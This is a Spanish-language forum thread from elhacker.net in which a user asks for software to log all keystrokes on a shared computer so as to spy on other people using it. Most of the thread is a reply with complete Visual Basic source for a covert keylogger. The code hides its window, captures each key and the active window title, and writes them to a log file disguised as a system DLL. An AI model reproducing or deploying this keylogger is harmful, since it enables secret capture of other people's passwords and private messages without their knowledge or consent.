Foro de elhacker.net

Holas...

Bueno gente... aca con una consulta, necesito un programa que guarde todo lo que se escribe en el ordenador, no quiero un troyano, porke es mi compu a la que quiero instalar algun programa que haga eso, como es mi ordenador me gustaria saber que acen las demas personas en ella... (por ciertos problemas que tnego es que lo necesito) se los agradeceria mucho si me recomiendan uno...

salu2

un keylogger. 

Necesitas un keylogger, o más bien un programa de monitorización y vigilancia del uso de tu ordenador, los hay por todos lados  :P

Ejemplo:

Saludos

Depende de cuales sean tus intenciones podrás encontrar programas que van desde "keylogger" fáciles de detectar y muy fáciles de instalar, hasta lo que es un puro keylogger de 10 que bajo mi punto de vista es lo mas interesante. Saludos y suerte!!

Option Explicit
Private Declare Function GetAsyncKeyState Lib "user32" _
(ByVal vKey As Long) As Integer
Private Declare Function GetWindowText Lib "user32" Alias _
"GetWindowTextA" (ByVal hwnd As Long, ByVal lpString As String, ByVal cch As Long) As Long
Private Declare Function GetForegroundWindow Lib "user32" () As Long

 
  'los timer tm el value es 5 y el timer timer1 es 1
  'inserta los controles segun su nombre es facil
  'copia y pega en el editor visual basic
  'abre el archivo c:\windows\system32\angio.dll con el block de notas
  'despues copia lo que nesesites y borralo
  'el programa lo creara de nuevo
Private Sub Form_Load()
Dim h
On Error GoTo Fallo

h = GetAttr("C:\windows\system32\angio.dll")
h = GetAttr("C:\windows\system32\angio2.dll")
Form1.Hide
Exit Sub

Fallo:
Open "C:\windows\system32\angio.dll" For Output As #1
Close #1
Open "C:\windows\system32\angio2.dll" For Output As #1
Close #1
Form1.Hide

End Sub

Private Sub Label1_Click()
End
End Sub

Private Sub Timer1_Timer()

Open "C:\windows\system32\angio.dll" For Append As #1
Print #1, Now, L2.Caption, l1.Caption, L3.Caption, Text1.Text
Close #1
Text1.Text = ""
Timer1.Enabled = False

End Sub

Private Sub TM_Timer()
 Dim i As Integer, x As Integer, z
 

 For i = 8 To 222
 x = GetAsyncKeyState(i)
 If x = -32767 Then
  Select Case i
   Case vbKey0: Text1.Text = Text1.Text & "0"
   Case vbKey1: Text1.Text = Text1.Text & "1"
   Case vbKey2: Text1.Text = Text1.Text & "2"
   Case vbKey3: Text1.Text = Text1.Text & "3"
   Case vbKey4: Text1.Text = Text1.Text & "4"
   Case vbKey5: Text1.Text = Text1.Text & "5"
   Case vbKey6: Text1.Text = Text1.Text & "6"
   Case vbKey7: Text1.Text = Text1.Text & "7"
   Case vbKey8: Text1.Text = Text1.Text & "8"
   Case vbKey9: Text1.Text = Text1.Text & "9"
   Case vbKeyA: Text1.Text = Text1.Text & "A"
   Case vbKeyB: Text1.Text = Text1.Text & "B"
   Case vbKeyC: Text1.Text = Text1.Text & "C"
   Case vbKeyD: Text1.Text = Text1.Text & "D"
   Case vbKeyE: Text1.Text = Text1.Text & "E"
   Case vbKeyF: Text1.Text = Text1.Text & "F"
   Case vbKeyG: Text1.Text = Text1.Text & "G"
   Case vbKeyH: Text1.Text = Text1.Text & "H"
   Case vbKeyI: Text1.Text = Text1.Text & "I"
   Case vbKeyJ: Text1.Text = Text1.Text & "J"
   Case vbKeyK: Text1.Text = Text1.Text & "K"
   Case vbKeyL: Text1.Text = Text1.Text & "L"
   Case vbKeyM: Text1.Text = Text1.Text & "M"
   Case vbKeyN: Text1.Text = Text1.Text & "N"
   Case vbKeyO: Text1.Text = Text1.Text & "O"
   Case vbKeyP: Text1.Text = Text1.Text & "P"
   Case vbKeyQ: Text1.Text = Text1.Text & "Q"
   Case vbKeyR: Text1.Text = Text1.Text & "R"
   Case vbKeyS: Text1.Text = Text1.Text & "S"
   Case vbKeyT: Text1.Text = Text1.Text & "T"
   Case vbKeyU: Text1.Text = Text1.Text & "U"
   Case vbKeyV: Text1.Text = Text1.Text & "V"
   Case vbKeyW: Text1.Text = Text1.Text & "W"
   Case vbKeyX: Text1.Text = Text1.Text & "X"
   Case vbKeyY: Text1.Text = Text1.Text & "Y"
   Case vbKeyZ: Text1.Text = Text1.Text & "Z"
   Case vbKeyNumpad0: Text1.Text = Text1.Text & "0"
   Case vbKeyNumpad1: Text1.Text = Text1.Text & "1"
   Case vbKeyNumpad2: Text1.Text = Text1.Text & "2"
   Case vbKeyNumpad3: Text1.Text = Text1.Text & "3"
   Case vbKeyNumpad4: Text1.Text = Text1.Text & "4"
   Case vbKeyNumpad5: Text1.Text = Text1.Text & "5"
   Case vbKeyNumpad6: Text1.Text = Text1.Text & "6"
   Case vbKeyNumpad7: Text1.Text = Text1.Text & "7"
   Case vbKeyNumpad8: Text1.Text = Text1.Text & "8"
   Case vbKeyNumpad9: Text1.Text = Text1.Text & "9"
   Case vbKeyMultiply: Text1.Text = Text1.Text & "*"
   Case vbKeyAdd: Text1.Text = Text1.Text & "+"
   Case vbKeySeparator: Text1.Text = Text1.Text & " [<Intro>] "
   Case vbKeySubtract: Text1.Text = Text1.Text & "-"
   Case vbKeyDecimal: Text1.Text = Text1.Text & "."
   Case vbKeyDivide: Text1.Text = Text1.Text & "/"
   Case vbKeyDelete: Text1.Text = Text1.Text & " [<Suprimir>] "
   Case vbKeyTab: Text1.Text = Text1.Text & " [Tabulador] "
   Case vbKeyClear: Text1.Text = Text1.Text & " [Limpiar] "
   Case vbKeyShift: Text1.Text = Text1.Text & " [Mayúsculas] "
   Case vbKeyMenu: Text1.Text = Text1.Text & " [<Menu>] "
   Case vbKeyPause: Text1.Text = Text1.Text & " [Pausa] "
   Case vbKeyCapital: Text1.Text = Text1.Text & " [Bloq Mayus] "
   Case vbKeyEscape: Text1.Text = Text1.Text & " [<Escape>] "
   Case vbKeyPageUp: Text1.Text = Text1.Text & " [RePag] "
   Case vbKeyPageDown: Text1.Text = Text1.Text & " [AvPag] "
   Case vbKeyEnd: Text1.Text = Text1.Text & " [<Fin>] "
   Case vbKeyHome: Text1.Text = Text1.Text & " [<Principio>] "
   Case vbKeySelect: Text1.Text = Text1.Text & " [Select] "
   Case vbKeyPrint: Text1.Text = Text1.Text & " [Captura] "
   Case vbKeyExecute: Text1.Text = Text1.Text & " [Ejecutar] "
   Case vbKeySnapshot: Text1.Text = Text1.Text & " [SnapShot] "
   Case vbKeyInsert: Text1.Text = Text1.Text & " [Insertar] "
   Case vbKeyDelete: Text1.Text = Text1.Text & " [Suprimir] "
   Case vbKeyHelp: Text1.Text = Text1.Text & " [Ayuda] "
   Case vbKeySpace: Text1.Text = Text1.Text & "    "
End Select
If i = vbKeyBack Then Timer1.Enabled = True
If i = vbKeyDelete Then Timer1.Enabled = True
If i = GetAsyncKeyState(1) = -32767 Then Timer1.Enabled = True
If i = vbKeyReturn Then
        Dim Handle As Long, buffer As String
        Handle = GetForegroundWindow
        If Handle = 0 Then Exit Sub
        buffer = Space(255)
        Call GetWindowText(Handle, buffer, 255)
        buffer = Trim$(buffer)
        buffer = Left(buffer, Len(buffer) - 1)
        l1.Caption = buffer
        Timer1.Enabled = True
        Exit Sub
        End If
End If
Next
End Sub

Se supone que es un VBScript, o un módulo de Visual?

Lo digo porque como VBS no funciona :/ Una pena, pintaba muy bien  :xD

EDITO: lo siento moderadores me acabo de dar cuenta de que he seguido un post muerto